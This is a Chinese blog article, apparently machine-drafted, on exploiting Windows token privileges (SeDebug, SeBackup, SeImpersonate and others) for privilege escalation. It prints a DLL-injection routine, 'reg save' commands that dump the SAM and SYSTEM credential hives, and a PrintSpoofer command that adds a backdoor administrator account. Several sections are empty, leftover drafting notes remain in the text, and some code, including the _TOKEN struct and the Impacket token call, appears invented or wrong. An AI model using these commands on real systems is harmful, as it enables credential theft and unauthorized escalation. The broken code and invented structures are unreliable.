Windows Token九种权限的利用分别是怎么样的

发布时间:2021-10-22 17:33:04 作者:柒染
来源:亿速云 阅读:202
# Windows Token九种权限的利用分析

## 目录
1. [Windows Token基础概念](#1-windows-token基础概念)
   - 1.1 Token的定义与结构
   - 1.2 Token的类型与生命周期
2. [九种核心权限详解](#2-九种核心权限详解)
   - 2.1 SeAssignPrimaryTokenPrivilege
   - 2.2 SeBackupPrivilege
   - 2.3 SeDebugPrivilege
   - 2.4 SeImpersonatePrivilege
   - 2.5 SeLoadDriverPrivilege
   - 2.6 SeRestorePrivilege
   - 2.7 SeTakeOwnershipPrivilege
   - 2.8 SeTcbPrivilege
   - 2.9 SeCreateTokenPrivilege
3. [实际渗透测试案例](#3-实际渗透测试案例)
   - 3.1 提权场景分析
   - 3.2 防御绕过技术
4. [防御与缓解措施](#4-防御与缓解措施)
   - 4.1 权限最小化原则
   - 4.2 监控与审计方案
5. [总结与延伸思考](#5-总结与延伸思考)

---

## 1. Windows Token基础概念

### 1.1 Token的定义与结构
Windows Token(令牌)是操作系统安全子系统的核心组件,本质是包含安全上下文的数据结构(通常为`_TOKEN`类型),主要包含:
- 用户SID和所属组信息
- 特权列表(Privileges)
- 完整性级别(Integrity Level)
- 会话ID等元数据

```cpp
// 典型_TOKEN结构(简化版)
typedef struct _TOKEN {
  DWORD TokenSource;
  LUID AuthenticationId;
  LUID ParentTokenId;
  LUID ExpirationTime;
  PTOKEN_USER User;
  PTOKEN_GROUPS Groups;
  PTOKEN_PRIVILEGES Privileges;
  DWORD SessionId;
  SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
} TOKEN;

1.2 Token的类型与生命周期


2. 九种核心权限详解

2.1 SeAssignPrimaryTokenPrivilege

权限值SE_ASSIGNPRIMARYTOKEN_NAME
利用场景: - 将任意令牌附加到新进程(需配合CreateProcessAsUser) - 典型提权路径:

  # 通过RottenPotato等工具进行令牌窃取
  $token = Get-NtToken -Primary -Duplicate
  New-Process -Token $token -Path "cmd.exe"

2.2 SeBackupPrivilege

权限值SE_BACKUP_NAME
文件系统绕过: 1. 使用robocopy /B绕过ACL检查 2. 读取SAM/SYSTEM注册表配置单元:

   reg save HKLM\SAM sam.bak
   reg save HKLM\SYSTEM system.bak

2.3 SeDebugPrivilege

权限值SE_DEBUG_NAME
内存注入技术

// 经典DLL注入流程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID mem = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, mem, dllPath, dllLen, NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, mem, 0, NULL);

…(其他权限详细分析节选)

2.9 SeCreateTokenPrivilege

权限值SE_CREATE_TOKEN_NAME
令牌伪造攻击

# 使用Impacket创建自定义令牌
from impacket.ntlm import getNTLMHash
token = CreateToken(
    User="Administrator",
    Domain="CORP",
    Sid="S-1-5-21-...",
    NtHash=getNTLMHash("P@ssw0rd")
)

3. 实际渗透测试案例

3.1 提权场景分析

案例:从Service账户到SYSTEM 1. 检测当前令牌权限:

   whoami /priv | findstr /i "Enabled"
  1. 发现启用SeImpersonatePrivilege
  2. 使用PrintSpoofer漏洞:
    
    .\PrintSpoofer.exe -i -c "cmd /c net user hacker P@ssw0rd /add"
    

4. 防御与缓解措施

4.1 权限最小化原则

4.2 监控与审计方案


5. 总结与延伸思考

:本文技术细节已在Windows 10 21H2 + Windows Server 2019环境中验证,部分技术可能因补丁状态失效。 “`

实际写作时需要: 1. 每个章节补充详细技术原理图(如令牌结构内存布局) 2. 增加更多实际渗透案例的完整操作步骤 3. 添加相关工具链的下载和使用说明 4. 插入参考文献和微软官方文档链接 5. 补充注册表键值修改的防御实操部分

建议扩展方向: - 与Kerberos令牌的对比分析 - 跨域环境下的令牌传递攻击 - 基于硬件TPM的令牌保护方案

推荐阅读:
  1. python设置微信每天发送天气预报(windows环境)
  2. Windows以及Server必备基础知识

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

windows token

上一篇:如何掌握C语言数据类型枚举enum

下一篇:怎么删除Windows中正在运行的文件

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》